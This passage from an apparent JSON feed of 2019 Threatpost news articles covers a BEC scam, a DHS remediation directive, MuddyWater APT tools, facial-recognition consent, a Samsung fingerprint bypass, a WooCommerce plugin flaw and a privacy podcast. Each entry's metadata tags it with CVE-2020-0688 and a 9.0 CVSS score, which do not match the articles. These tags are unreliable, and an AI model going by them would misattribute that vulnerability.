Tokazowski, senior threat researcher at Agari, told Threatpost in a recent interview there are several steps that firms \u2013 and individuals \u2013 can take to protect against BEC scams.\n\n\u201cFor BEC protections, there are several things that organizations and individuals can do to not fall victim,\u201d he said. \u201cFirstly, implementing a DMARC [which stands for Domain-based Message Authentication, Reporting and Conformance and is an email authentication protocol] solution can help organizations look at the reputation of senders who may be spoofing their CEO\u2019s, asking for wire transfers or gift card. For individuals, being informed about the different types of scams that actors are using can be helpful as well.\u201d\n", "cvss3": {}, "published": "2019-04-30T16:21:59", "type": "threatpost", "title": "BEC Hack Cons Catholic Church Out of $1.75 Million", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T16:21:59", "id": "THREATPOST:2BDC072802830F0CC831DE4C4F1FA580", "href": "https://threatpost.com/bec-hack-cons-catholic-church/144212/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:41", "description": "A Department of Homeland Security (DHS) order now requires agencies to remediate critical vulnerabilities discovered on their systems in 15 days \u2013 cutting in half the previous deadline of 30 days.\n\nThat\u2019s according to a Tuesday binding directive, which is a compulsory order for federal, executive branch, departments and agencies \u201cfor purposes of safeguarding federal information and information systems.\u201d\n\nThe initiative, released by the DHS Cybersecurity and Infrastructure Security Agency (CISA) unit, now requires federal agencies to remediate critical security vulnerabilities within 15 days from the initial detection. Vulnerabilities that are merely \u201chigh\u201d in severity, meanwhile, must be remediated within 30 days after detection.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAs federal agencies continue to expand their internet presence through increased deployment of Internet-accessible systems, and operate interconnected and complex systems, it is more critical than ever for federal agencies to rapidly remediate vulnerabilities that otherwise could allow malicious actors to compromise federal networks through exploitable, externally-facing systems,\u201d according to the [directive](<https://cyber.dhs.gov/bod/19-02/#when-do-the-15-and-30-day-clocks-start-for-remediation>).\n\nThe directive supersedes a previous 2015 DHS order, which ordered departments and agencies to mitigate critical vulnerabilities on their internet-facing systems within 30 days \u201cof issuance of their weekly \u2018Cyber Hygiene report.'\u201d\n\nJeanette Manfra, assistant director for Cybersecurity for CISA, [said](<https://www.dhs.gov/cisa/blog/2019/04/29/cisa-releases-binding-operational-directive-new-requirements-remediating>) that the average time between discovery and exploitation of a vulnerability is decreasing, and adversaries are growing more skilled and persistent.\n\n\u201cCISA released [the directive] to continue to take deliberate steps to reduce the overall attack surface and minimize the risk of unauthorized access to federal information systems,\u201d she said. \u201c[The directive] introduces a shorter mitigation time frame for critical vulnerabilities and a new mitigation time frame for high vulnerabilities, to further reduce the attack surface and risk to federal agency information systems.\u201d\n\nThe directive comes as the government pushes for further security measures across various agencies.\n\nThe DHS [in January](<https://threatpost.com/gov-warning-dns-hijacking/141088/>) ordered all federal agencies to urgently audit Domain Name System (DNS) security for their domains in the next 10 business days, warning that multiple government domains have been targeted by DNS hijacking attacks, allowing attackers to redirect and intercept web and mail traffic.\n\nThe directive also comes as the federal government [in March](<https://threatpost.com/federal-cyber-budget-iot-legislation/142744/>) stepped up its game with proposals of budget line items that would requisition nearly $11 billion for cyber initiatives, and the introduction of an Internet of Things (IoT) Cybersecurity Improvement Act of 2019 (which would require that devices purchased by the government to meet certain minimum security requirements).\n\nWhile security experts praised the initiative, they argued that the directive could go even further in trying to quickly stamp out vulnerabilities across governmental organizations.\n\n\u201cI would argue that the directive does not go far enough to call out critical vulnerabilities for which proofs of concept may already be published or for which developing an exploit is trivial,\u201d said Mounir Hahad, head of Juniper Networks\u2019 Juniper Threat Labs. \u201cThose indeed have a higher chance of being exploited by threat actors in record time. In my view, 15 days for remediation is too slow in those circumstances.\u201d\n", "cvss3": {}, "published": "2019-05-01T19:57:27", "type": "threatpost", "title": "DHS Shortens Deadline For Gov Agencies to Fix Critical Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-05-01T19:57:27", "id": "THREATPOST:06C5D9E6950186757AA989F2557336B3", "href": "https://threatpost.com/dhs-deadline-gov-agencies-fix-critical/144269/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:59", "description": "An array of customized attack tools are helping the MuddyWater advanced persistent threat (APT) group to successfully exfiltrate data from its governmental and telco targets in the Middle East; an analysis of this toolset reveals a moderately sophisticated threat actor at work \u2013 with the potential to get even more dangerous over time.\n\nAn analysis from Kaspersky Lab released Monday shows that post-infection, the gang reaches for multiple, relatively simple and expendable tools to infiltrate victims and exfiltrate data, mostly using Python and PowerShell-based coding. The arsenal includes download/execute tools and remote access trojans (RATs) written in C# and Python; SSH Python scripts; and multiple Python tools for the extraction of credentials, history and more.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nKaspersky Lab also found that the group uses various deception techniques to derail detection efforts, such as Chinese strings, Russian strings and an impersonation of a completely different hacking group known as RXR Saudi Arabia.\n\n## A Battalion of RATs and More\n\nSome of MuddyWater\u2019s tools include proprietary efforts such as Nihay, a C# download-and-execute tool. It downloads a PowerShell one-liner from a hardcoded URL, researchers found. Like the other malicious code offerings from MuddyWater, this is a straightforward and simple malware that has but a single job.\n\nAnother tool that the researchers observed is a C# RAT called LisfonService. It \u201crandomly chooses a URL from a huge array of hardcoded proxy URLs hiding the real C2 server,\u201d according to [the analysis](<https://securelist.com/muddywaters-arsenal/90659/>), and is tasked with registering a victim with the C2 by collecting the user name, domain or workgroup name, machine name, machine internal IP address, OS version, OS build and public IP address. This information is used later to request commands from the C2, such as executing PowerShell code or crashing the system.\n\nAnother RAT called Client.Py is a Python 3.6 RAT is a bit more advanced; it supports basic keylogger functionality, stealing passwords saved in Chrome, killing task manager, remote command-execution and displaying an alert message for the victim in a message box.\n\nWhile most of the tools that MuddyWater uses are custom-developed, there are a handful that are based on more generic and publicly available ones, researchers added.\n\n## Deception\n\nAppropriately given the APT\u2019s name, one of the ways that MuddyWater throws forensics off the trail of attribution is by planting false flags, the analysis shows \u2013 including the incorporation of different languages into the coding.\n\n\u201cMultiple Chinese strings can be found in some PowerShell RAT payloads (such as Ffb8ea0347a3af3dd2ab1b4e5a1be18a) that seem to have been left in on purpose, probably to make attribution harder,\u201d according to Kaspersky Lab.\n\nThis also holds true for a series of Russian words that researchers found in another PowerShell sample.\n\n\u201cAttackers used Russian words as the RC4 key when establishing a connection to the C2 server,\u201d the team noted. It added, \u201cInterestingly, when visiting the C2, it displays a blank webpage whose HTML source code shows a strange HTML tag value that suggests attackers have tried to impersonate a Saudi hacking group called RXR Saudi Arabia.\u201d\n\nIn all, the MuddyWater APT shows the hallmarks of being a moderately sophisticated threat group that has built up a reasonably advanced armory to carry out their efforts. Lately those efforts have included attacks on government and telco targets in Bahrain, Iraq, Jordan, Lebanon, Saudi Arabia and Turkey, as well as a few other countries in nearby regions (Afghanistan, Azerbaijan and Pakistan), researchers said.\n\n\u201cThese tools\u2026seem to allow them flexibility to adapt and customize the toolset for victims,\u201d according to Kaspersky Lab. \u201cThis continuous capability to steadily adjust and enhance attacks, adapting well to the changing [Middle Eastern geopolitical scene](<https://threatpost.com/new-actor-darkhydrus-targets-middle-east-with-open-source-phishing/134871/>), seems to make this actor a solid adversary that keeps growing. We expect it to keep developing or acquiring additional tools and abilities, possibly including zero-days.\u201d\n", "cvss3": {}, "published": "2019-04-29T20:04:33", "type": "threatpost", "title": "MuddyWater APT Hones an Arsenal of Custom Tools", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T20:04:33", "id": "THREATPOST:4F1C35A7D4BE774DF9C88794C793181D", "href": "https://threatpost.com/muddywater-apt-custom-tools/144193/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:16", "description": "Half of respondents in a recent Threatpost poll said that they don\u2019t believe consent realistically exists when it comes to real-life facial recognition.\n\nThe [recent poll](<https://threatpost.com/poll-creeped-out-facial-recognition/144084/>) of 170 readers comes as facial recognition applications [continue to pop up](<https://threatpost.com/facial-recognition-are-we-ready/144066/>) in the real world \u2013 from airports to police forces. While biometrics certainly has advantages \u2013 such as making identification more efficient \u2013 gaining consent from people whose biometrics are being taken remains a mystery to some, with 53 percent of respondents saying they don\u2019t believe that consent exists or is possible in real-life facial recognition applications .\n\nIn the poll, 32 percent more respondents said that consent will be the act of giving people notification that an area is using facial recognition; and only 10 percent said consent is the ability to opt out of facial recognition applications.\n\nThe issue of biometrics consent came to the forefront again in December when the Department of Homeland Security unveiled a facial-recognition pilot program for monitoring public areas surrounding the [White House](<https://threatpost.com/white-house-facial-recognition-pilot-raises-privacy-alarms/139649/>). When asked about consent, the department said that the public cannot opt-out of the pilot, except by avoiding the areas that will be filmed as part of the program.\n\n\u201cA very weak form of protection is if the government or a business [that uses biometrics for] surveillance, they notify people,\u201d Adam Schwartz, senior staff attorney with the Electronic Frontier Foundation\u2019s civil liberties team, told Threatpost. \u201cWe think this is not consent \u2013 real consent is where they don\u2019t aim a camera at you.\u201d\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/25163405/consent.png>)\n\nBeyond consent, more than half of poll respondents said that they have negative feelings toward facial recognition due to issues related to privacy and security \u2013 while 30 percent more said they have \u201cmixed\u201d feelings, understanding both the benefits and privacy concerns.\n\nWhen asked what concerns them the most about real-world facial applications, 55 percent of those surveyed pointed to privacy and surveillance issues, while 29 percent said the security of biometrics information and how the data is shared.\n\nDespite these concerns, biometrics continues to gain traction, with the EU last week [approving](<https://www.securityresearch-cou.eu/sites/default/files/02.Rinkens.Secure%20safe%20societies_EU%20interoperability_4-3_v1.0.pdf>) a massive biometrics database for both EU and non-EU citizens. The EU\u2019s approval of the database, called the \u201cCommon Identity Repository,\u201d will aim to connect the systems used by border control, migration and law-enforcement agencies.\n\nAs biometrics continue to increase, meanwhile, up to 85 percent of respondents said that they think that facial recognition should be regulated in the future.\n\nSuch laws exist or are being discussed as it relates to consent: An [Illinois law](<http://www.ilga.gov/legislation/ilcs/ilcs3.asp?ActID=3004&ChapterID=57>) for instance regulates collection of biometric information (including for facial recognition) without consent.\n\nHowever, that law only applies to businesses and not law enforcement. Meanwhile, a new bill introduced in the Senate in [March](<https://www.schatz.senate.gov/imo/media/doc/SIL19337.pdf>), the \u201cCommercial Facial Recognition Privacy Act,\u201d would bar businesses that are using facial recognition from harvesting and sharing user data without consent.\n\n\u201cThe time to regulate and restrict the use of facial recognition technology is now, before it becomes embedded in our everyday lives,\u201d said Jason Kelly, digital strategist with EFF, in a [recent post](<https://www.eff.org/deeplinks/2019/04/skip-surveillance-opting-out-face-recognition-airports>). \u201cGovernment agencies and airlines have ignored years of warnings from privacy groups and Senators that using face recognition technology on travelers would massively violate their privacy. Now, the passengers are in revolt as well, and they\u2019re demanding answers.\u201d\n", "cvss3": {}, "published": "2019-04-26T12:10:15", "type": "threatpost", "title": "Facial Recognition 'Consent\u2019 Doesn\u2019t Exist, Threatpost Poll Finds", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T12:10:15", "id": "THREATPOST:677D5A0A56D06021C8EF30D0361579C6", "href": "https://threatpost.com/facial-recognition-consent-doesnt-exist-threatpost-poll-finds/144126/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:23:40", "description": "Samsung has reportedly started rolling out a software patch for the Galaxy S10 and Note10, addressing glitches in both phone models that allow the bypass of their built-in fingerprint authentication sensors.\n\nThe fix comes after Samsung admitted last week that anyone [can bypass the Galaxy S10 fingerprint sensor](<https://threatpost.com/galaxy-s10-fingerprint-sensor-thwarted-with-screen-protector-report/149197/>) if a third-party silicon case is enclosing the phone. The acknowledgement led to widespread backlash from customers, while several U.K.-based banks have also started blacklisting impacted Samsung devices for their apps, as the issue also allowed users to access various apps on the impacted devices that were using the biometric function for authentication.\n\nAccording to a Wednesday [report by Android Police](<https://www.androidpolice.com/2019/10/23/samsung-will-begin-patching-fingerprint-scanner-security-flaw-within-24-hours/>), Samsung is now rolling out patches to customers, urging its customers support app (Samsung Members) to update their phones to the latest software version, which will fix the biometric authentication glitch.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cSamsung is releasing a software patch to fix fingerprint issues on Galaxy Note10, Note10+, S10, S10+, and S10 5G devices,\u201d Samsung said on a [note on Samsung Members](<https://www.androidpolice.com/2019/10/23/samsung-will-begin-patching-fingerprint-scanner-security-flaw-within-24-hours/#ap-lightbox>). \u201cIf you have registered a fingerprint on one of these devices, you will receive a notification with instructions. This update is being sent out gradually, so you may not receive the notification immediately.\u201d\n\nSamsung Galaxy S10 and Note10 users, for their part, are urged to look out for an update notification on their devices called \u201cBiometrics Update.\u201d Once they click on \u201cUpdate,\u201d they will be instructed to delete all previously registered fingerprints from their phone with covers on the phone, and re-register them without a cover applied to the phone.\n\nThe issue first came to light after a woman alleged that a $3 smartphone screen protector allowed unauthorized users to dupe her Samsung Galaxy S10\u2019s fingerprint recognition sensor \u2013 giving access to her phone and banking apps. The U.K. woman, Lisa Neilson, told media reports earlier in October that only her fingerprint was registered on her new Galaxy S10. However, after buying a third-party screen protector off eBay, Neilson\u2019s husband was able to unlock her phone using his fingerprint \u2013 even though it wasn\u2019t registered on the device. Worse, the pair found that Neilson\u2019s husband could log into her phone and access various private apps using the fingerprint biometrics security feature.\n\n\u201cThis issue involved ultrasonic fingerprint sensors unlocking devices after recognizing 3-dimensional patterns appearing on certain silicone screen protecting cases as users\u2019 fingerprints,\u201d said Samsung in a [press release last week](<https://news.samsung.com/global/statement-on-fingerprint-recognition-issue>). \u201cTo prevent any further issues, we advise that Galaxy Note10/10+ and S10/S10+/S10 5G users who use such covers to remove the cover, delete all previous fingerprints and newly register their fingerprints.\u201d\n\nOn the heels of this report, several videos popped up of Galaxy S10 users trying the trick out successfully on their own phones (one such video is below).\n\n[NatWest](<https://twitter.com/NatWest_Help/status/1186676299743580161>) and [Royal Bank](<https://twitter.com/RBS_Help/status/1186553506251071493>) are among the banks that removed their apps from the Google Play store for customers with Samsung Galaxy S10 and Note 10 devices: \u201cThis is due to reports that there are security concerns regarding these devices,\u201d according to a Royal Bank tweet. \u201cWe hope to have our app available again shortly once the issue has been resolved.\u201d\n\n> Hi there Martyn. We've removed the app from the Play Store for customers with Samsung S10 devices. This is due to reports that there are security concerns regarding these devices. We hope to have our app available again shortly once the issue has been resolved. WL\n> \n> \u2014 Royal Bank (@RBS_Help) [October 22, 2019](<https://twitter.com/RBS_Help/status/1186553506251071493?ref_src=twsrc%5Etfw>)\n\nThe utilization of biometrics on smartphones has been helpful for identity authentication \u2013 but it\u2019s not foolproof.\n\nIn fact, also in October Google [came under fire for its Pixel 4](<https://arstechnica.com/gadgets/2019/10/google-says-a-fix-for-pixel-4-face-unlock-is-months-away/>) facial recognition unlock feature, which users said would unlock for users even if their eyes were closed. Google issued a media statement this weekend that the glitch will be fixed in a software update that will be delivered in the \u201ccoming months.\u201d\n\nOther privacy incidents have plagued smartphone vendors around biometric authentication. [In August](<https://threatpost.com/researchers-bypass-apple-faceid-using-biometrics-achilles-heel/147109/>), researchers revealed vulnerabilities in the authentication process of biometrics technology that could allow bad actors to bypass various facial recognition applications \u2013 including Apple\u2019s FaceID. In 2018, a design flaw affecting all in-display fingerprint sensors \u2013 that left over a half-dozen cellphone models vulnerable to a trivial lock-screen bypass attack \u2013 [was quietly patched](<https://threatpost.com/lock-screen-bypass-bug-quietly-patched-in-handsets/139141/>). The flaw was tied to a bug in the popular in-display fingerprint reader technology used for user authentication. New vulnerabilities in [voice authentication](<https://threatpost.com/black-hat-2018-voice-authentication-is-broken-researchers-say/134926/>) have been uncovered as well.\n", "cvss3": {}, "published": "2019-10-24T15:44:50", "type": "threatpost", "title": "Samsung Rolls Out Fix For Galaxy S10 Fingerprint Sensor Glitch", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-10-24T15:44:50", "id": "THREATPOST:99AD02BEC4B8423B8E050E0A4E9C4DEB", "href": "https://threatpost.com/samsung-fix-galaxy-s10-fingerprint-sensor/149510/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:08", "description": "UPDATE\n\nA vulnerability in a popular WordPress plugin called the WooCommerce Checkout Manager extension is potentially putting more than 60,000 websites at risk, researchers say.\n\nThe WooCommerce Checkout Manager plugin allows WooCommerce users to customize and manage the fields on their checkout pages. The plugin, owned by Visser Labs, is separate from the WooCommerce plugin, which is owned by Automattic.\n\nAs of Monday, an update for WooCommerce Checkout Manager is available (version 4.3) that patches the vulnerability. That can be downloaded [here](<https://wordpress.org/support/topic/upgrade-to-4-3/>).\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cEarlier this week, an arbitrary file upload vulnerability has been found in popular WordPress plugin WooCommerce Checkout Manager which extends the functionality of well known WooCommerce plugin,\u201d said Luka Sikic, with WebArx Security in a [Thursday post](<https://www.webarxsecurity.com/woocommerce-checkout-manager/>).\n\nVisser Labs has not responded to a request for comment from Threatpost. On Friday, the plugin has been removed from the WordPress plugin repository. \u201cThis plugin was closed on April 26, 2019 and is no longer available for download,\u201d according to a [notice](<https://wordpress.org/plugins/woocommerce-checkout-manager/>) on the site. However, that still leaves the 60,000 websites who have already downloaded and are utilizing the plugin open to attack, according to researchers.\n\nOn Tuesday, Plugin Vulnerabilities published a proof of concept outlining an attack on an arbitrary file upload vulnerability in WooCommerce Checkout Manager. The disclosed vulnerability exists because the plugin\u2019s \u201cCategorize Uploaded Files\u201d option does not check privileges or permissions before files are uploaded. As a result, bad actors could upload \u2013 and then execute \u2013 malicious files.\n\n\u201cSince there is no privilege or permission check before uploading a file, the exploitation of the vulnerability in WooCommerce Checkout Manager is simple and doesn\u2019t require an attacker to be registered on the site,\u201d Sikic said.\n\nThe number of vulnerable plugins being exploited in a massive campaign is racking up, with the WooCommerce Checkout Manager the latest plugin to be exploited.\n\nThe WooCommerce Checkout Manager is only the latest plugin to have a disclosed vulnerability, researchers say.\n\n\u201cWe continue to see an increase in the number of plugins attacked as part of a campaign that\u2019s been active for quite a long time,\u201d according to John Castro with Sucuri in a recent [post](<https://blog.sucuri.net/2019/04/plugins-added-to-malicious-campaign.html>). \u201cBad actors have added more vulnerable plugins to inject similar malicious scripts.\u201d\n\nOther plugins recently added to the attack include WP Inventory Manager and Woocommerce User Email Verification. That\u2019s on top of others, including Social Warfare, [Yellow Pencil Visual Theme Customizer](<https://threatpost.com/wordpress-yellow-pencil-plugin-exploited/143729/>), and [Yuzo Related Posts](<https://threatpost.com/wordpress-urges-users-to-uninstall-yuzo-plugin-after-flaw-exploited/143710/>).\n\nResearchers urged plugin users to disable the plugin completely or disable the \u201cCategorize Uploaded Files\u201d option on the plugin settings page.\n\n\u201cAttackers are trying to exploit vulnerable versions of these plugins,\u201d said Castro. \u201cPublic exploits already exist for all of the components listed above, and we highly encourage you to keep your software up to date to prevent any infection.\u201d\n\n_This article was updated on April 30 at 8 a.m. ET to reflect that the vulnerability has now been patched._\n", "cvss3": {}, "published": "2019-04-26T19:44:55", "type": "threatpost", "title": "Users Urged to Update WordPress Plugin After Flaw Disclosed", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T19:44:55", "id": "THREATPOST:33026719684C7CD1B70B04B1CFFE2AEB", "href": "https://threatpost.com/users-urged-to-disable-wordpress-plugin-after-unpatched-flaw-disclosed/144159/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:11", "description": "Data privacy has been an outstanding theme this past week, and the Threatpost team discussed the biggest privacy related news. In the news wrap podcast for April 26, the team discussed the backstories behind several reports from the week, including:\n\n * Facebook potentially [facing Federal Trade Commission (FTC) fines](<https://threatpost.com/facebook-5-billion-ftc-fine/144104/>) as high as $5 billion for its data-security practices\n * A report that employees at Amazon can [access geolocation information](<https://threatpost.com/amazon-employees-personal-alexa/144119/>) for Alexa users\n * Questions around data security and consent around[ facial recognition](<https://threatpost.com/facial-recognition-consent-doesnt-exist-threatpost-poll-finds/144126/>) after the EU\u2019s approval of a massive biometrics database\n * The exposure of [2 million passwords](<https://threatpost.com/leaky_app_data/144029/>) for Wi-Fi hotspots online by an insecure database\n\n[\ufeff\n\n](<http://iframe%20style=border:%20none%20src=//html5-player.libsyn.com/embed/episode/id/9544445/height/360/theme/legacy/thumbnail/yes/direction/backward/%20height=360%20width=100%%20scrolling=no%20%20allowfullscreen%20webkitallowfullscreen%20mozallowfullscreen%20oallowfullscreen%20msallowfullscreen/iframe>)\n\n_Below is a lightly edited transcript of the podcast._\n\n**Lindsey O\u2019Donnell**: Welcome to the Threatpost podcast, and the Threatpost team is all here this Friday morning. You\u2019ve got Lindsey O\u2019Donnell and I\u2019m here with Tara Seals and Tom Spring. Hey, everyone.\n\n**Tara Seals:**Hey, Lindsey.\n\n**Tom Spring: **How\u2019s it going, Lindsey? How\u2019s it going, Tara?\n\n**Lindsey**: Good. So, privacy has really been kind of the name of the game this week, in terms of all the stories that we\u2019ve written. And I know, we had a lot of data privacy type stories, everything from Amazon Echo privacy issues to facial recognition. But if we\u2019re talking about data privacy, I think we should really start by bringing Facebook into the conversation here, as we usually do.\n\n**Tara: **Yeah, that seems to have been a top theme of the week for sure. And you did a ton of reporting on that this week.\n\n**Lindsey: **Yeah, so, the big news this week was that Facebook may be facing fines of between $3 to $5 billion for that FTC fine that was related to the Cambridge Analytica incident last year, and all of their data privacy issues that they\u2019ve had since then. So, Facebook had its earnings and disclosed this amount of money that is set aside as contingency expenses. And I feel like we keep hearing about reports of Facebook, having all these data sharing incidents, or having all these crazy data practices, but now we\u2019re really looking at the consequences. And everyone\u2019s wondering how data collection and sharing will be regulated and what kind of fines we\u2019ll see. So that should be interesting to keep an eye on how this actually plays out in the coming months.\n\n**Tara: **Yeah, and I wonder in terms of all of that, when we talk about the GDPR, over in Europe, and how it has really stringent requirements for explicit consent before somebody harvests your data, which obviously is not something that Facebook adheres to, for U.S. citizens anyway \u2013 have there been any rumblings out there in terms of whether or not Facebook might face future regulation?\n\n**Lindsey: **I think that\u2019s there\u2019s been a lot of discussion about it. I know, obviously, Mark Zuckerberg has appeared in front of Congress. And it\u2019s definitely been at the forefront of discussion. But beyond some state-level data privacy practice regulations, it\u2019s something that people are still trying to figure out. So I think that\u2019s kind of why this FTC fine is at the center of attention. There was news today, actually, that the _New York Times _was talking to sources who said that the FTC is discussing stronger monitoring of Facebook\u2019s privacy policies, as well as direct punishment of Mark Zuckerberg. So that raises questions about how to deal with data sharing, whether it\u2019s kind of hitting at the CEO, or even just imposing bigger fines. But Tara, I know, you listen to the actual earnings call. Were there any special call outs about the fine or data security in general? I\u2019m curious if they talked about it at all.\n\n**Tara:**They studiously avoided talking about the fines specifically, which, it\u2019s a charge off of, they added $3 billion, and they said it could go up to as much as $5 billion, and so that ate into their profit, which is kind of interesting, because they reported, I think it was, I don\u2019t have it in front of me, but I think it was around like $2.3 billion in profit for the quarter.\n\nAnd that that is taking into account that $3 billion contingency fine. And they didn\u2019t really specifically discuss it. But they did say that they expected profits to continue to waver a little bit going forward, due to regulatory headwinds, as well as advertising-related falloff, because they\u2019re not sure that they can make the same amount of revenue off of ad targeting that they have in the past.\n\nSo that sort of in a roundabout way speaks to the fact that they\u2019re looking into making some changes in terms of how they collect and use user data. But that\u2019s sort of reading between the lines, and they certainly didn\u2019t say anything explicit about it, unfortunately.\n\n**Lindsey: **Right. Well, I know one big point of discussion was, is this enough? How does this compare to past fines? Because I know Facebook has faced various fines in the past, which Tara you have actually written about. I think it was in December it was fined like $11 million. And then in October, it was fined $645,000. So obviously, those kind of shy away in comparison to $5 billion, but I think people are still kind of asking, how does this compare? Facebook\u2019s kind of overall \u2013\n\n**Tara: **Yeah, their overall profit, annual, you know, $3 to 5 billion is significant for them, actually.\n\n**Tom:**Well, I just looked it up. Facebook made more than $40 billion in revenue in 2017.\n\n**Tara: **What\u2019s the profit? That\u2019s the real marker right?\n\n**Tom: **Well, it is the real marker.\n\n**Lindsey: ** I\u2019m curious what will come out of it. But I do know that everyone\u2019s really looking at this as some sort of precedent for how Facebook will be regulated in the future, if it continues with the data security issues that have been happening over the past year, since Cambridge Analytica.\n\n**Tara: **One of the things too, Lindsey, that I wanted to ask you about was, you know, [the poll that we did](<https://threatpost.com/three-fourths-of-consumers-dont-trust-facebook-threatpost-poll-finds/143963/>) on attitudes towards Facebook. But, you know, also in the wake of their earnings that showed that they had seen an 8 percent year over year, subscriber jump, so the headlines, even though people are sort of horrified by them, they\u2019re not really dissuading people from actually using the platform, which I think is interesting. And then also their stock price just skyrocketed, after they reported their earnings, even with the charge off for the fine. So I don\u2019t know, I don\u2019t know what\u2019s going to happen in the future and whether any of this is going to make a difference in terms of whether or not it\u2019s successful as a company.\n\n**Tom: **I was just thinking, I think that, it\u2019d be interesting to watch the regulatory space to see what the U.S. does, especially with GDPR, in terms of what\u2019s going on in Europe, and really a constant sort of, you know, march of bad news in terms of privacy, and also with breaches that are taking place, not only with Facebook, but with a ton of other companies \u2013 I think what we\u2019re doing is we\u2019re setting up in 2020, and beyond some new rules around privacy and some new regulations around privacy. Because I mean, as you just pointed out, Tara, fines and threats and punishments are not really are impacting the way Facebook\u2019s doing business or hurting them in terms of their business model.\n\n**Lindsey: **Right. I don\u2019t think at all that people are going to stop using Facebook. And I mean, to be totally honest, even if they do adopt some sort of model where you pay to use the platform without advertising or without your data being collected and shared \u2013 I\u2019m not sure how many people would even opt in for that as well. I mean, I could be completely wrong. But I don\u2019t know if people are going to pay an extra like $5 a month or something to use a social media platform that\u2019s already free.\n\n**Tom: **Yeah, I don\u2019t think anybody\u2019s going to be paying. But I think what you\u2019ll see is probably some government intervention. That\u2019s my prediction. I mean, the things that we regulate here in the U.S. \u2013 these companies, whether it be Amazon, Google, or Facebook, they\u2019ve basically had a clear runway to do whatever they wanted for I don\u2019t know how many years. And, you know, if you think about all the different things that we regulate in this country, privacy really isn\u2019t one of them right now, but certainly isa right target for legislators to focus on.\n\n**Lindsey: **Right. That\u2019s the good point. Speaking of Amazon, I know, Tara, you covered a really interesting story this week too about news of their auditing program for Echo devices, which had already been reported. But now I guess a new report said that they\u2019re also exposing geolocation data, in addition to voice data. Can you add some color there?\n\n**Tara: **Sure. So, this story was really interesting to me. And it\u2019s not just Echo either. It\u2019s also, you know, the other Alexa devices including the Fire TV devices and there are tons of third-party gadgets that have Alexa built in now. So this is kind of a broad reaching story, from an Internet of Things perspective. But yeah, so apparently, and as you pointed out, this is something that _Bloomberg _had broken a story on about three weeks ago, talking about the fact that Amazon has a team of people in place that may manually audit Alexa interactions to make sure that the AI is learning appropriately. And it\u2019s been effective and accurate and returning good results for users, and all that kind of thing. But what\u2019s interesting is in the process of that, this data, which is supposed to be anonymous, right? So it\u2019s just sort of random snippets \u2013 human people will listen to this, and then see what Alexa\u2019s response was matched up, make sure that it\u2019s accurate, do whatever secret sauce they have to do with the algorithm and the AI to fix it, or to make her smarter \u2013 But in the process of this, apparently, geolocation data gets scooped up here. Because when people ask, Alexa, tell me what the weather forecast is, or Alexa, I\u2019m feeling like Chinese, is anybody delivering to my house, that type of thing. That necessarily, obviously, those local results have to be tied to geolocation data. So they\u2019re scooping up and harvesting and storing and logging GPS coordinates, in addition to sort of these random, other snippets. And so there were five different employees within Amazon that are working on this program, that basically came forward and said that they feel that nobody gave their consent for this and that it\u2019s too broad of an access for them to have. And then they actually on a whim, sort of plugged these coordinates into Google Maps and found that they could actually track somebody\u2019s place of business or their house, and even bring up a picture of that house. And through other means, actually identify who lives there, and then tie all this other information together and be able to create a very creative profile.\n\n**Tom: **I agree with you, Tara, I think that we need to be more concerned about the privacy that we hand over to these types of digital devices. And I\u2019m even more concerned now about the privacy issues that have surround geo-specific apps, where you\u2019re using an app and it understands where you\u2019re at and gives you sort of context-relevant information, and how that data is being used, and who\u2019s using it, and who\u2019s collecting it. When you think about Amazon, they\u2019re a much more potentially powerful company considering all the tentacles that it has into my buying and my data, and my home with their Alexa speakers.\n\n**Lindsey:**Yeah, that\u2019s a really good point. And I\u2019m curious too about the consent and notification side of all of this. I mean, did they have any response Tara about if they gave any notification that they were doing any of this at all? Is there anything on Amazon\u2019s website about this program?\n\n**Tara: **No, no, this was completely in the background until _Bloomberg _came forward with their report, they didn\u2019t acknowledge that it exists. And they just put out a statement saying, you know, we take privacy seriously. And saying, we limit, the number of people that have access to this, who are tasked with doing this as part of their job, and they\u2019re bound by, you know, all kinds of restrictions and things like that it\u2019s highly controlled.\n\n**Tom: **I gotta come back to the point where I feel like this is an area ripe for regulation. I\u2019m not pro regulation but I mean, if this is something that consumers are outraged about \u2013 I think there\u2019s got to be a GDPR type regulations that we\u2019re going to see here in the U.S. that that are going to impact the Facebook\u2019s and the Amazons in the world.\n\n**Tara: **Right and now, we have other types of privacy and sort of potentially intrusive privacy issues to worry about too \u2013 Lindsey, going back to some of the reporting you did this week, but with the facial recognition stuff is happening. You know that that seems like sort of the Wild West out there. There\u2019s no regulation around that.Right?\n\n**Lindsey: **Well, yeah, exactly. And the scary thing about that, too, is that a lot of the facial recognition applications out there are actually being used by the government. So by the Department of Homeland Security and by policemen and whatnot. But yeah, facial recognition came up in the headlines a bunch this week, because there\u2019s been two different incidents. The first was you guys may have heard the EU last week approved a massive biometrics database that would combine the data from law enforcement, from Border Patrol, and more for both EU and non US citizens. So there was that. And then there was another incident this week that occurred where a JetBlue passenger was boarding a flight. And she noticed 